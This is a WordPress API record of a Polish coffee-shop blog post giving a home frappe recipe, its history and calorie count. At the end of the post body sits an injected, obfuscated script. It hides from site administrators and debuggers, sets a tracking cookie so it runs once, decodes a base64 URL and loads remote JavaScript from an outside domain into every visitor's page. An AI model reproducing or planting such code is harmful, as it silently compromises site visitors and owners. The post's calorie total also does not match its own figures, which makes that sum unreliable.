{"id":4472,"date":"2020-09-24T11:04:07","date_gmt":"2020-09-24T09:04:07","guid":{"rendered":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=4472"},"modified":"2026-03-09T05:14:20","modified_gmt":"2026-03-09T04:14:20","slug":"jak-zrobic-domowe-frappe","status":"publish","type":"post","link":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=4472","title":{"rendered":"Jak zrobi\u0107 domowe frappe?"},"content":{"rendered":"\n<p><strong>Mro\u017cona kawa to pomys\u0142 na orze\u017awiaj\u0105cy nap\u00f3j podczas letnich, upalnych tygodni. Zobacz, jak zrobi\u0107 frappe w domu i cieszy\u0107 si\u0119 smakiem mro\u017conej kawy o ka\u017cdej porze dnia.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Frappe \u2013 co to jest?<\/h2>\n\n\n\n<p>By\u0107 mo\u017ce nigdy nie wiedzieliby\u015bmy, co to jest kawa frappe, gdyby nie pomys\u0142owa natura pewnego Greka. Jak g\u0142osi legenda wsypa\u0142 on pewnego dnia kaw\u0119 do zimnej wody zamiast do gor\u0105cej. P\u00f3\u017aniej postanowi\u0142, \u017ce b\u0119dzie j\u0105 przelewa\u0142 ze szklanki do szklanki a\u017c powstanie piana. Tak oto narodzi\u0142a si\u0119 s\u0142ynna grecka kawa frappe, cho\u0107 do ko\u0144ca nie wiadomo, jak znalaz\u0142o si\u0119 w niej mleko. Fakt jest taki, \u017ce jest to mro\u017cona kawa mleczna z dodatkiem cukru i kostek lodu. Jest szalenie popularna na ca\u0142ym \u015bwiecie, gdy\u017c \u015bwietnie orze\u017awia podczas upa\u0142\u00f3w, a latem dobrze zast\u0119puje \u201ema\u0142\u0105 czarn\u0105\u201d. Dlatego warto wiedzie\u0107, jak zrobi\u0107 frappe we w\u0142asnym domu.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ile kalorii ma frappe?<\/h2>\n\n\n\n<p>Ilo\u015b\u0107 kalorii w kawie frappe to suma kcal z kawy, mleka i cukru. Sama baza kawowa to zaledwie 2 kcal. na 100g kawy. \u0141y\u017ceczka cukru ma 20 kcal, wi\u0119c je\u015bli wsypiecie do kawy dwie \u2013 zyskujecie w sumie 40 kcal. Do tego mleko. Szklanka mleka 3,2% ma 42 kcal. A zatem kawa frappe z naszego przepisu ma w sumie 86 kcal.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jak zrobi\u0107 frappe?<\/h2>\n\n\n\n<p>Jako bazy potrzebujesz dw\u00f3ch fili\u017canek espresso. Przygotuj je najlepiej w ekspresie ci\u015bnieniowym, takim jak na przyk\u0142ad <a href=\"https:\/\/www.mobilnybarista.pl\/sklep\/ekspresy\/ekspres-nivona-779\/\"><strong>Nivona 779<\/strong><\/a>. Wsyp kaw\u0119 z cukrem do shakera lub wysokiego naczynia i zalej wrz\u0105tkiem, ale nie za du\u017co. Nast\u0119pnie miksuj wszystko a\u017c do wytworzenia si\u0119 pianki. Przelej kaw\u0119 do wysokiej szklanki uzupe\u0142nionej kostkami lodu do wysoko\u015bci 1\/3. Uzupe\u0142nij nap\u00f3j zimnym mlekiem. Gotowe!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jak pi\u0107 frappe?<\/h2>\n\n\n\n<p>Kaw\u0119 frappe pije si\u0119 przez s\u0142omk\u0119 i podaje w wysokich szklankach, najlepiej termicznych o grubych \u015bciankach. S\u0142u\u017cy bardziej jako deser ni\u017c typowa kawa do \u015bniadania, jednak latem znakomicie sprawdzi si\u0119 i w takiej roli. Warto tak\u017ce modyfikowa\u0107 przepis i zrobi\u0107 frappe w wersji jeszcze bardziej s\u0142odkiej. Mo\u017cecie doda\u0107 na wierzch porcj\u0119 bitej \u015bmietany i udekorowa\u0107 np. wi\u015bni\u0105 kandyzowan\u0105 lub p\u0142atkami czekolady.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Kawa frappe to mro\u017cony nap\u00f3j kawowy na bazie espresso i mleka z dodatkiem lodu i cukru. Jest to kawa o greckim rodowodzie, pita szczeg\u00f3lnie latem. Znakomicie zast\u0119puje klasyczn\u0105 gor\u0105c\u0105 kaw\u0119, kiedy szukasz orze\u017awienia i pobudzania zarazem.<\/p>\n","protected":false},"author":3,"featured_media":4474,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4472","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bez-kategorii"],"_links":{"self":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4472","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4472"}],"version-history":[{"count":3,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4472\/revisions"}],"predecessor-version":[{"id":12769,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4472\/revisions\/12769"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/media\/4474"}],"wp:attachment":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4472"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4472"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4472"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}